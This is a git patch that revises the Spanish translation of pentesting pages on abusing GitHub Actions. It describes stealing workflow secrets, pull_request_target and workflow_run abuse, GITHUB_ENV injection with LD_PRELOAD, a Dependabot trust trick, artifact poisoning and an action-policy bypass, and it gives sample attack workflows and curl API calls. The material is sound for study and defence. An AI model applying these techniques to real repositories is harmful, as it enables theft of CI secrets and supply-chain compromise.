From 56bb737c9f4cc5bf13a9bc76896ad52298bf6a3f Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 29 Sep 2025 21:35:37 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-ci-cd/github-security/abusing-github-act --- .../abusing-github-actions/README.md | 316 +++++++++++------- .../gh-actions-context-script-injections.md | 95 +++++- .../basic-github-information.md | 266 ++++++++------- 3 files changed, 423 insertions(+), 254 deletions(-) diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md index 4af32a21a..f5f58e9b6 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md @@ -1,56 +1,56 @@ -# Abusando de Github Actions +# Abusar de Github Actions {{#include ../../../banners/hacktricks-training.md}} ## Herramientas -Las siguientes herramientas son útiles para encontrar flujos de trabajo de Github Action e incluso encontrar algunos vulnerables: +Las siguientes herramientas son útiles para encontrar workflows de Github Action e incluso encontrar ones vulnerables: - [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven) - [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato) - [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X) - [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda) -- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Consulta también su lista de verificación en [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits) +- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Revisa también su checklist en [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits) -## Información Básica +## Información básica En esta página encontrarás: -- Un **resumen de todos los impactos** de un atacante que logra acceder a una Github Action -- Diferentes formas de **obtener acceso a una acción**: -- Tener **permisos** para crear la acción -- Abusar de los **disparadores** relacionados con **pull request** +- Un **resumen de todos los impactos** de un atacante que logre acceder a una Github Action +- Diferentes maneras de **obtener acceso a una Github Action**: +- Tener **permisos** para crear la action +- Abusar de triggers relacionados con **pull request** - Abusar de **otras técnicas de acceso externo** -- **Pivotar** desde un repositorio ya comprometido -- Finalmente, una sección sobre **técnicas de post-explotación para abusar de una acción desde adentro** (causar los impactos mencionados) +- **Pivoting** desde un repo ya comprometido +- Finalmente, una sección sobre **post-exploitation techniques** para abusar de una Github Action desde dentro (causar los impactos mencionados) -## Resumen de Impactos +## Resumen de impactos -Para una introducción sobre [**Github Actions consulta la información básica**](../basic-github-information.md#github-actions). +Para una introducción sobre [**Github Actions revisa la información básica**](../basic-github-information.md#github-actions). -Si puedes **ejecutar código arbitrario en GitHub Actions** dentro de un **repositorio**, podrías ser capaz de: +Si puedes **ejecutar código arbitrario en GitHub Actions** dentro de un **repositorio**, podrías: -- **Robar secretos** montados en la tubería y **abusar de los privilegios de la tubería** para obtener acceso no autorizado a plataformas externas, como AWS y GCP. +- **Steal secrets** montados en el pipeline y **abusar de los privilegios del pipeline** para obtener acceso no autorizado a plataformas externas, como AWS y GCP. - **Comprometer despliegues** y otros **artefactos**. -- Si la tubería despliega o almacena activos, podrías alterar el producto final, habilitando un ataque a la cadena de suministro. -- **Ejecutar código en trabajadores personalizados** para abusar del poder computacional y pivotar a otros sistemas. +- Si el pipeline deploya o almacena assets, podrías alterar el producto final, posibilitando un ataque a la cadena de suministro. +- **Ejecutar código en workers personalizados** para abusar del poder de cómputo y pivotar a otros sistemas. - **Sobrescribir el código del repositorio**, dependiendo de los permisos asociados con el `GITHUB_TOKEN`. ## GITHUB_TOKEN -Este "**secreto**" (proveniente de `${{ secrets.GITHUB_TOKEN }}` y `${{ github.token }}`) se otorga cuando el administrador habilita esta opción: +Este "**secret**" (proveniente de `${{ secrets.GITHUB_TOKEN }}` y `${{ github.token }}`) se otorga cuando el admin habilita esta opción:
-Este token es el mismo que una **Aplicación de Github utilizará**, por lo que puede acceder a los mismos endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) +Este token es el mismo que **una Github Application usará**, por lo que puede acceder a los mismos endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) > [!WARNING] -> Github debería lanzar un [**flujo**](https://github.com/github/roadmap/issues/74) que **permita el acceso entre repositorios** dentro de GitHub, para que un repositorio pueda acceder a otros repositorios internos utilizando el `GITHUB_TOKEN`. +> Github debería lanzar un [**flow**](https://github.com/github/roadmap/issues/74) que **permita acceso cross-repository** dentro de GitHub, de modo que un repo pueda acceder a otros repos internos usando el `GITHUB_TOKEN`. Puedes ver los posibles **permisos** de este token en: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) -Ten en cuenta que el token **expira después de que el trabajo ha finalizado**.\ -Estos tokens lucen así: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` +Ten en cuenta que el token **expira después de que el job ha completado**.\ +Estos tokens se ven así: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` Algunas cosas interesantes que puedes hacer con este token: @@ -66,7 +66,7 @@ https://api.github.com/repos///pulls//merge \ -d "{\"commit_title\":\"commit_title\"}" ``` {{#endtab }} -{{#tab name="Aprobar PR" }} +{{#tab name="Approve PR" }} ```bash # Approve a PR curl -X POST \ @@ -77,7 +77,7 @@ https://api.github.com/repos///pulls//reviews \ -d '{"event":"APPROVE"}' ``` {{#endtab }} -{{#tab name="Crear PR" }} +{{#tab name="Create PR" }} ```bash # Create a PR curl -X POST \ @@ -91,11 +91,11 @@ https://api.github.com/repos///pulls \ {{#endtabs }} > [!CAUTION] -> Ten en cuenta que en varias ocasiones podrás encontrar **tokens de usuario de github dentro de los entornos de Github Actions o en los secretos**. Estos tokens pueden darte más privilegios sobre el repositorio y la organización. +> Ten en cuenta que en varias ocasiones podrás encontrar **github user tokens dentro de los envs de Github Actions o en los secrets**. Estos tokens pueden otorgarte más privilegios sobre el repositorio y la organización.
-Listar secretos en la salida de Github Action +Listar secrets en la salida de Github Action ```yaml name: list_env on: @@ -121,7 +121,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
-Obtener shell inverso con secretos +Obtener una reverse shell con secrets ```yaml name: revshell on: @@ -144,26 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
-Es posible verificar los permisos otorgados a un Github Token en los repositorios de otros usuarios **revisando los registros** de las acciones: +Es posible comprobar los permisos otorgados a un Github Token en los repositorios de otros usuarios **comprobando los logs** de las actions:
-## Ejecución Permitida +## Ejecución permitida > [!NOTE] -> Esta sería la forma más fácil de comprometer las acciones de Github, ya que este caso supone que tienes acceso para **crear un nuevo repositorio en la organización**, o tienes **privilegios de escritura sobre un repositorio**. +> Esta sería la forma más fácil de comprometer Github actions, ya que este caso supone que tienes acceso a **crear un nuevo repositorio en la organización**, o tienes **privilegios de escritura sobre un repositorio**. > -> Si te encuentras en este escenario, solo puedes revisar las [técnicas de Post Explotación](#post-exploitation-techniques-from-inside-an-action). +> Si te encuentras en este escenario puedes simplemente revisar los [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action). -### Ejecución desde la Creación de un Repositorio +### Ejecución desde la creación de un repositorio -En caso de que los miembros de una organización puedan **crear nuevos repositorios** y tú puedas ejecutar acciones de github, puedes **crear un nuevo repositorio y robar los secretos establecidos a nivel de organización**. +En caso de que los miembros de una organización puedan **create new repos** y tú puedas ejecutar Github actions, puedes **create a new repo and steal the secrets set at organization level**. -### Ejecución desde una Nueva Rama +### Ejecución desde una nueva rama -Si puedes **crear una nueva rama en un repositorio que ya contiene una Acción de Github** configurada, puedes **modificarla**, **subir** el contenido y luego **ejecutar esa acción desde la nueva rama**. De esta manera, puedes **exfiltrar secretos a nivel de repositorio y organización** (pero necesitas saber cómo se llaman). +Si puedes **crear una nueva rama en un repositorio que ya contiene una Github Action configurada**, puedes **modificarla**, **subir** el contenido y luego **ejecutar esa action desde la nueva rama**. De esta forma puedes **exfiltrate repository and organization level secrets** (pero necesitas saber cómo se llaman). -Puedes hacer que la acción modificada sea ejecutable **manualmente,** cuando se **crea un PR** o cuando **se sube algún código** (dependiendo de cuán ruidoso quieras ser): +> [!WARNING] +> Cualquier restricción implementada sólo dentro del workflow YAML (por ejemplo, `on: push: branches: [main]`, job conditionals, o manual gates) puede ser editada por colaboradores. Sin enforcement externo (branch protections, protected environments, and protected tags), un contribuidor puede redirigir un workflow para que se ejecute en su rama y abusar de los mounted secrets/permissions. + +Puedes hacer la action modificada ejecutable **manualmente,** cuando se **cree un PR** o cuando se **haga push de código** (dependiendo de cuán ruidoso quieras ser): ```yaml on: workflow_dispatch: # Launch manually @@ -177,49 +180,49 @@ branches: ``` --- -## Ejecución Forked +## Ejecución en forks > [!NOTE] -> Hay diferentes desencadenadores que podrían permitir a un atacante **ejecutar una Github Action de otro repositorio**. Si esas acciones desencadenables están mal configuradas, un atacante podría comprometerlas. +> Existen diferentes disparadores que podrían permitir a un atacante **ejecutar una Github Action de otro repositorio**. Si esas acciones que se pueden activar están mal configuradas, un atacante podría comprometerlas. ### `pull_request` -El desencadenador de flujo de trabajo **`pull_request`** ejecutará el flujo de trabajo cada vez que se reciba una solicitud de extracción con algunas excepciones: por defecto, si es la **primera vez** que estás **colaborando**, algún **mantenedor** necesitará **aprobar** la **ejecución** del flujo de trabajo: +El workflow trigger **`pull_request`** ejecutará el workflow cada vez que se reciba un pull request con algunas excepciones: por defecto, si es la **primera vez** que estás **colaborando**, algún **mantenedor** deberá **aprobar** la **ejecución** del workflow:
> [!NOTE] -> Como la **limitación predeterminada** es para **contribuyentes primerizos**, podrías contribuir **corrigiendo un error/tipografía válido** y luego enviar **otras PRs para abusar de tus nuevos privilegios de `pull_request`**. +> Como la **limitación por defecto** es para contribuyentes de **primera vez**, podrías contribuir **corrigiendo un bug/typo válido** y luego enviar **otros PRs para abusar de tus nuevos privilegios de `pull_request`**. > -> **Probé esto y no funciona**: ~~Otra opción sería crear una cuenta con el nombre de alguien que contribuyó al proyecto y eliminó su cuenta.~~ +> **Probé esto y no funciona**: ~~Otra opción sería crear una cuenta con el nombre de alguien que contribuyó al proyecto y eliminar su cuenta.~~ -Además, por defecto **previene permisos de escritura** y **acceso a secretos** al repositorio objetivo como se menciona en la [**documentación**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): +Además, por defecto **se impiden los permisos de escritura** y el **acceso a secrets** al repositorio objetivo, como se menciona en la [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): -> Con la excepción de `GITHUB_TOKEN`, **los secretos no se pasan al runner** cuando se desencadena un flujo de trabajo desde un repositorio **forked**. El **`GITHUB_TOKEN` tiene permisos de solo lectura** en solicitudes de extracción **de repositorios forked**. +> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**. -Un atacante podría modificar la definición de la Github Action para ejecutar cosas arbitrarias y agregar acciones arbitrarias. Sin embargo, no podrá robar secretos ni sobrescribir el repositorio debido a las limitaciones mencionadas. +Un atacante podría modificar la definición de la Github Action para ejecutar cosas arbitrarias y añadir acciones arbitrarias. Sin embargo, no podrá robar secrets ni sobrescribir el repo debido a las limitaciones mencionadas. > [!CAUTION] -> **Sí, si el atacante cambia en la PR la github action que será desencadenada, su Github Action será la que se use y no la del repositorio de origen!** +> **Sí, si el atacante cambia en el PR la Github Action que se ejecutará, ¡su Github Action será la que se use y no la del repositorio de origen!** -Como el atacante también controla el código que se ejecuta, incluso si no hay secretos o permisos de escritura en el `GITHUB_TOKEN`, un atacante podría, por ejemplo, **subir artefactos maliciosos**. +Dado que el atacante también controla el código que se ejecuta, aunque no haya secrets ni permisos de escritura en el `GITHUB_TOKEN`, un atacante podría por ejemplo **subir artifacts maliciosos**. ### **`pull_request_target`** -El desencadenador de flujo de trabajo **`pull_request_target`** tiene **permiso de escritura** al repositorio objetivo y **acceso a secretos** (y no pide permiso). +El workflow trigger **`pull_request_target`** tiene **permisos de escritura** en el repositorio objetivo y **acceso a secrets** (y no solicita permiso). -Ten en cuenta que el desencadenador de flujo de trabajo **`pull_request_target`** **se ejecuta en el contexto base** y no en el proporcionado por la PR (para **no ejecutar código no confiable**). Para más información sobre `pull_request_target`, [**consulta la documentación**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ -Además, para más información sobre este uso específico y peligroso, consulta este [**post del blog de github**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). +Ten en cuenta que el workflow trigger **`pull_request_target`** **se ejecuta en el contexto base** y no en el proporcionado por el PR (para **no ejecutar código no confiable**). Para más información sobre `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ +Además, para más información sobre este uso específico peligroso revisa este [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). -Puede parecer que, dado que el **flujo de trabajo ejecutado** es el definido en la **base** y **no en la PR**, es **seguro** usar **`pull_request_target`**, pero hay **algunos casos en los que no lo es**. +Podría parecer que, dado que el **workflow ejecutado** es el que está definido en la **base** y **no en el PR**, es **seguro** usar **`pull_request_target`**, pero hay **algunos casos en los que no lo es**. -Y este tendrá **acceso a secretos**. +Y este tendrá **acceso a secrets**. ### `workflow_run` -El desencadenador [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) permite ejecutar un flujo de trabajo desde otro cuando está `completado`, `solicitado` o `en progreso`. +The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`. -En este ejemplo, un flujo de trabajo está configurado para ejecutarse después de que se complete el flujo de trabajo separado "Ejecutar Pruebas": +En este ejemplo, un workflow está configurado para ejecutarse después de que el workflow separado "Run Tests" finalice: ```yaml on: workflow_run: @@ -227,31 +230,31 @@ workflows: [Run Tests] types: - completed ``` -Además, según la documentación: El flujo de trabajo iniciado por el evento `workflow_run` puede **acceder a secretos y escribir tokens, incluso si el flujo de trabajo anterior no lo fue**. +Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**. -Este tipo de flujo de trabajo podría ser atacado si **depende** de un **flujo de trabajo** que puede ser **activado** por un usuario externo a través de **`pull_request`** o **`pull_request_target`**. Un par de ejemplos vulnerables pueden ser [**encontrados en este blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** El primero consiste en que el flujo de trabajo activado por **`workflow_run`** descarga el código del atacante: `${{ github.event.pull_request.head.sha }}`\ -El segundo consiste en **pasar** un **artifact** del código **no confiable** al flujo de trabajo **`workflow_run`** y usar el contenido de este artifact de una manera que lo haga **vulnerable a RCE**. +This kind of workflow could be attacked if it's **depending** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}`\ +The second one consist on **passing** an **artifact** from the **untrusted** code to the **`workflow_run`** workflow and using the content of this artifact in a way that makes it **vulnerable to RCE**. ### `workflow_call` TODO -TODO: Verificar si al ejecutarse desde un pull_request el código utilizado/descargado es el del origen o del PR bifurcado. +TODO: Comprobar si cuando se ejecuta desde un `pull_request` el código usado/descargado es el del origen o el del PR forkeado -## Abusando de la Ejecución Bifurcada +## Abusing Forked Execution -Hemos mencionado todas las formas en que un atacante externo podría lograr que un flujo de trabajo de github se ejecute, ahora echemos un vistazo a cómo estas ejecuciones, si están mal configuradas, podrían ser abusadas: +Hemos mencionado todas las formas en que un atacante externo podría lograr que un github workflow se ejecute, ahora veamos cómo estas ejecuciones, si están mal configuradas, podrían ser abusadas: -### Ejecución de checkout no confiable +### Untrusted checkout execution -En el caso de **`pull_request`,** el flujo de trabajo se ejecutará en el **contexto del PR** (por lo que ejecutará el **código malicioso del PR**), pero alguien necesita **autorizarlo primero** y se ejecutará con algunas [limitaciones](#pull_request). +En el caso de `pull_request`, el workflow se va a ejecutar en el contexto del PR (por lo que ejecutará el código malicioso del PR), pero alguien necesita autorizarlo primero y se ejecutará con algunas [limitaciones](#pull_request). -En el caso de un flujo de trabajo que utiliza **`pull_request_target` o `workflow_run`** que depende de un flujo de trabajo que puede ser activado desde **`pull_request_target` o `pull_request`**, se ejecutará el código del repositorio original, por lo que el **atacante no puede controlar el código ejecutado**. +En el caso de un workflow usando `pull_request_target` or `workflow_run` que depende de un workflow que puede ser triggeredo desde `pull_request_target` o `pull_request` se ejecutará el código del repositorio original, por lo que el atacante no puede controlar el código ejecutado. > [!CAUTION] -> Sin embargo, si la **acción** tiene un **checkout de PR explícito** que **obtendrá el código del PR** (y no de la base), utilizará el código controlado por el atacante. Por ejemplo (ver línea 12 donde se descarga el código del PR): +> However, si la **action** tiene un **checkout explícito del PR** que **obtiene el código del PR** (y no del base), usará el código controlado por el atacante. For example (check line 12 where the PR code is downloaded): -
# INSECURE. Proporcionado solo como un ejemplo.
+
# INSECURE. Provided as an example only.
 on:
 pull_request_target
 
@@ -276,35 +279,35 @@ arg1: ${{ secrets.supersecret }}
 - uses: fakerepo/comment-on-pr@v1
 with:
 message: |
-¡Gracias!
+Thank you!
 
-El código **no confiable potencialmente se está ejecutando durante `npm install` o `npm build`** ya que los scripts de construcción y los **paquetes referenciados son controlados por el autor del PR**. +The potentially **untrusted code is being run during `npm install` or `npm build`** as the build scripts and referenced **packages are controlled by the author of the PR**. > [!WARNING] -> Un dork de github para buscar acciones vulnerables es: `event.pull_request pull_request_target extension:yml` sin embargo, hay diferentes formas de configurar los trabajos para que se ejecuten de manera segura incluso si la acción está configurada de manera insegura (como usar condicionales sobre quién es el actor que genera el PR). +> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR). -### Inyecciones de Script en Contexto +### Inyecciones de scripts en contextos -Tenga en cuenta que hay ciertos [**contextos de github**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) cuyos valores son **controlados** por el **usuario** que crea el PR. Si la acción de github está utilizando esos **datos para ejecutar algo**, podría llevar a **ejecución de código arbitrario:** +Ten en cuenta que existen ciertos [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) cuyos valores están **controlados** por el **usuario** que crea el PR. Si la github action está usando esos **datos para ejecutar cualquier cosa**, esto podría conducir a **ejecución de código arbitrario:** {{#ref}} gh-actions-context-script-injections.md {{#endref}} -### **Inyección de Script GITHUB_ENV** +### **GITHUB_ENV Script Injection** -Según la documentación: Puede hacer que una **variable de entorno esté disponible para cualquier paso posterior** en un trabajo de flujo de trabajo definiendo o actualizando la variable de entorno y escribiendo esto en el archivo de entorno **`GITHUB_ENV`**. +From the docs: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file. -Si un atacante pudiera **inyectar cualquier valor** dentro de esta variable **env**, podría inyectar variables de entorno que podrían ejecutar código en pasos posteriores como **LD_PRELOAD** o **NODE_OPTIONS**. +If an attacker could **inject any value** inside this **env** variable, he could inject env variables that could execute code in following steps such as **LD_PRELOAD** or **NODE_OPTIONS**. -Por ejemplo ([**esto**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) y [**esto**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine un flujo de trabajo que confía en un artifact subido para almacenar su contenido dentro de la variable de entorno **`GITHUB_ENV`**. Un atacante podría subir algo como esto para comprometerlo: +For example ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine a workflow that is trusting an uploaded artifact to store its content inside **`GITHUB_ENV`** env variable. An attacker could upload something like this to compromise it:
-### Dependabot y otros bots de confianza +### Dependabot and other trusted bots -Como se indica en [**esta publicación de blog**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), varias organizaciones tienen una Acción de Github que fusiona cualquier PRR de `dependabot[bot]` como en: +As indicated in [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), several organizations have a Github Action that merges any PRR from `dependabot[bot]` like in: ```yaml on: pull_request_target jobs: @@ -314,16 +317,16 @@ if: ${ { github.actor == 'dependabot[bot]' }} steps: - run: gh pr merge $ -d -m ``` -Lo cual es un problema porque el campo `github.actor` contiene al usuario que causó el último evento que activó el flujo de trabajo. Y hay varias formas de hacer que el usuario `dependabot[bot]` modifique un PR. Por ejemplo: +Lo cual es un problema porque el campo `github.actor` contiene el usuario que provocó el último evento que desencadenó el workflow. Y hay varias maneras de hacer que el usuario `dependabot[bot]` modifique un PR. Por ejemplo: -- Hacer un fork del repositorio de la víctima -- Agregar la carga útil maliciosa a tu copia -- Habilitar Dependabot en tu fork añadiendo una dependencia desactualizada. Dependabot creará una rama corrigiendo la dependencia con código malicioso. -- Abrir un Pull Request al repositorio de la víctima desde esa rama (el PR será creado por el usuario, así que aún no pasará nada) -- Luego, el atacante regresa al PR inicial que Dependabot abrió en su fork y ejecuta `@dependabot recreate` -- Luego, Dependabot realiza algunas acciones en esa rama, que modificaron el PR sobre el repositorio de la víctima, lo que hace que `dependabot[bot]` sea el actor del último evento que activó el flujo de trabajo (y por lo tanto, el flujo de trabajo se ejecuta). +- Fork del repositorio de la víctima +- Añade el payload malicioso a tu copia +- Habilita Dependabot en tu fork añadiendo una dependencia desactualizada. Dependabot creará una branch que arregla la dependencia con código malicioso. +- Abre un Pull Request al repositorio de la víctima desde esa branch (el PR será creado por el usuario, así que aún no pasará nada) +- Luego, el atacante vuelve al PR inicial que Dependabot abrió en su fork y ejecuta `@dependabot recreate` +- Entonces, Dependabot realiza algunas acciones en esa branch, que modifican el PR en el repo de la víctima, lo que hace que `dependabot[bot]` sea el actor del último evento que desencadenó el workflow (y por lo tanto, el workflow se ejecuta). -Pasando a otro tema, ¿qué pasaría si en lugar de fusionar, la Acción de Github tuviera una inyección de comandos como en: +Avanzando, ¿y si en lugar de hacer merge el Github Action tuviera una inyección de comandos como en: ```yaml on: pull_request_target jobs: @@ -333,24 +336,24 @@ if: ${ { github.actor == 'dependabot[bot]' }} steps: - run: echo ${ { github.event.pull_request.head.ref }} ``` -Bueno, la publicación del blog original propone dos opciones para abusar de este comportamiento, siendo la segunda: +Bueno, la entrada del blog original propone dos opciones para abusar de este comportamiento, siendo la segunda: -- Hacer un fork del repositorio de la víctima y habilitar Dependabot con alguna dependencia desactualizada. -- Crear una nueva rama con el código de inyección de shell malicioso. -- Cambiar la rama predeterminada del repositorio a esa. -- Crear un PR desde esta rama al repositorio de la víctima. -- Ejecutar `@dependabot merge` en el PR que Dependabot abrió en su fork. -- Dependabot fusionará sus cambios en la rama predeterminada de tu repositorio bifurcado, actualizando el PR en el repositorio de la víctima, haciendo que ahora `dependabot[bot]` sea el actor del último evento que activó el flujo de trabajo y utilizando un nombre de rama malicioso. +- Fork the victim repository y habilita Dependabot con alguna dependencia desactualizada. +- Crea una nueva branch con el código de inyección de shell malicioso. +- Cambia la default branch del repo a esa. +- Crea un PR desde esa branch hacia el victim repository. +- Ejecuta `@dependabot merge` en el PR que Dependabot abrió en su fork. +- Dependabot fusionará sus cambios en la default branch de tu forked repository, actualizando el PR en el victim repository, haciendo ahora que `dependabot[bot]` sea el actor del último evento que disparó el workflow y usando un nombre de branch malicioso. -### Acciones de Github de Terceros Vulnerables +### Terceras partes vulnerables en Github Actions #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact) -Como se menciona en [**esta publicación del blog**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), esta Acción de Github permite acceder a artefactos de diferentes flujos de trabajo e incluso repositorios. +Como se menciona en [**esta entrada del blog**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), esta Github Action permite acceder a artifacts de diferentes workflows e incluso repositories. -El problema es que si el parámetro **`path`** no está configurado, el artefacto se extrae en el directorio actual y puede sobrescribir archivos que podrían ser utilizados o incluso ejecutados en el flujo de trabajo. Por lo tanto, si el artefacto es vulnerable, un atacante podría abusar de esto para comprometer otros flujos de trabajo que confían en el artefacto. +El problema es que si el parámetro **`path`** no está establecido, el artifact se extrae en el directorio actual y puede sobrescribir archivos que podrían usarse o incluso ejecutarse más tarde en el workflow. Por lo tanto, si el Artifact es vulnerable, un atacante podría abusar de esto para comprometer otros workflows que confían en el Artifact. -Ejemplo de flujo de trabajo vulnerable: +Ejemplo de workflow vulnerable: ```yaml on: workflow_run: @@ -373,7 +376,7 @@ with: name: artifact path: ./script.py ``` -Esto podría ser atacado con este flujo de trabajo: +Esto podría ser atacado con este workflow: ```yaml name: "some workflow" on: pull_request @@ -390,35 +393,35 @@ path: ./script.py ``` --- -## Otro Acceso Externo +## Otros accesos externos -### Secuestro de Repositorio de Namespace Eliminado +### Deleted Namespace Repo Hijacking -Si una cuenta cambia su nombre, otro usuario podría registrar una cuenta con ese nombre después de un tiempo. Si un repositorio tenía **menos de 100 estrellas antes del cambio de nombre**, Github permitirá que el nuevo usuario registrado con el mismo nombre cree un **repositorio con el mismo nombre** que el eliminado. +If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted. > [!CAUTION] -> Así que si una acción está utilizando un repositorio de una cuenta no existente, todavía es posible que un atacante pueda crear esa cuenta y comprometer la acción. +> Por lo tanto, si una action está usando un repo de una account inexistente, sigue siendo posible que un attacker pueda crear esa account y comprometer la action. -Si otros repositorios estaban utilizando **dependencias de estos repositorios de usuario**, un atacante podrá secuestrarlos. Aquí tienes una explicación más completa: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) +If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) --- -## Pivotar Repositorio +## Repo Pivoting > [!NOTE] -> En esta sección hablaremos sobre técnicas que permitirían **pivotar de un repositorio a otro** suponiendo que tenemos algún tipo de acceso en el primero (ver la sección anterior). +> En esta sección hablaremos sobre técnicas que permitirían **pivot from one repo to another** suponiendo que tengamos algún tipo de acceso en el primero (revisa la sección anterior). -### Envenenamiento de Caché +### Cache Poisoning -Se mantiene una caché entre **ejecuciones de flujo de trabajo en la misma rama**. Lo que significa que si un atacante **compromete** un **paquete** que luego se almacena en la caché y es **descargado** y ejecutado por un flujo de trabajo **más privilegiado**, podrá **comprometer** también ese flujo de trabajo. +A cache is maintained between **wokflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow. {{#ref}} gh-actions-cache-poisoning.md {{#endref}} -### Envenenamiento de Artefactos +### Artifact Poisoning -Los flujos de trabajo podrían usar **artefactos de otros flujos de trabajo e incluso repositorios**, si un atacante logra **comprometer** la Acción de Github que **sube un artefacto** que luego es utilizado por otro flujo de trabajo, podría **comprometer los otros flujos de trabajo**: +Workflows could use **artifacts from other workflows and even repos**, if an attacker manages to **compromise** the Github Action that **uploads an artifact** that is later used by another workflow he could **compromise the other workflows**: {{#ref}} gh-actions-artifact-poisoning.md @@ -426,9 +429,34 @@ gh-actions-artifact-poisoning.md --- -## Post Explotación desde una Acción +## Post Exploitation from an Action -### Accediendo a AWS y GCP a través de OIDC +### Github Action Policies Bypass + +As commented in [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), even if a repository or organization has a policy restricting the use of certain actions, an attacker could just download (`git clone`) and action inside the workflow and then reference it as a local action. As the policies doesn't affect local paths, **the action will be executed without any restriction.** + +Ejemplo: +```yaml +on: [push, pull_request] + +jobs: +test: +runs-on: ubuntu-latest +steps: +- run: | +mkdir -p ./tmp +git clone https://github.com/actions/checkout.git ./tmp/checkout + +- uses: ./tmp/checkout +with: +repository: woodruffw/gha-hazmat +path: gha-hazmat + +- run: ls && pwd + +- run: ls tmp/checkout +``` +### Accediendo a AWS y GCP vía OIDC Consulta las siguientes páginas: @@ -442,9 +470,9 @@ Consulta las siguientes páginas: ### Accediendo a secretos -Si estás inyectando contenido en un script, es interesante saber cómo puedes acceder a secretos: +Si inyectas contenido en un script, es interesante saber cómo puedes acceder a los secretos: -- Si el secreto o token está configurado como una **variable de entorno**, se puede acceder directamente a través del entorno usando **`printenv`**. +- Si el secreto o token está establecido como una **environment variable**, puede accederse directamente desde el entorno usando **`printenv`**.
@@ -475,7 +503,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
-Obtener shell inverso con secretos +Obtener reverse shell con secretos ```yaml name: revshell on: @@ -498,15 +526,15 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
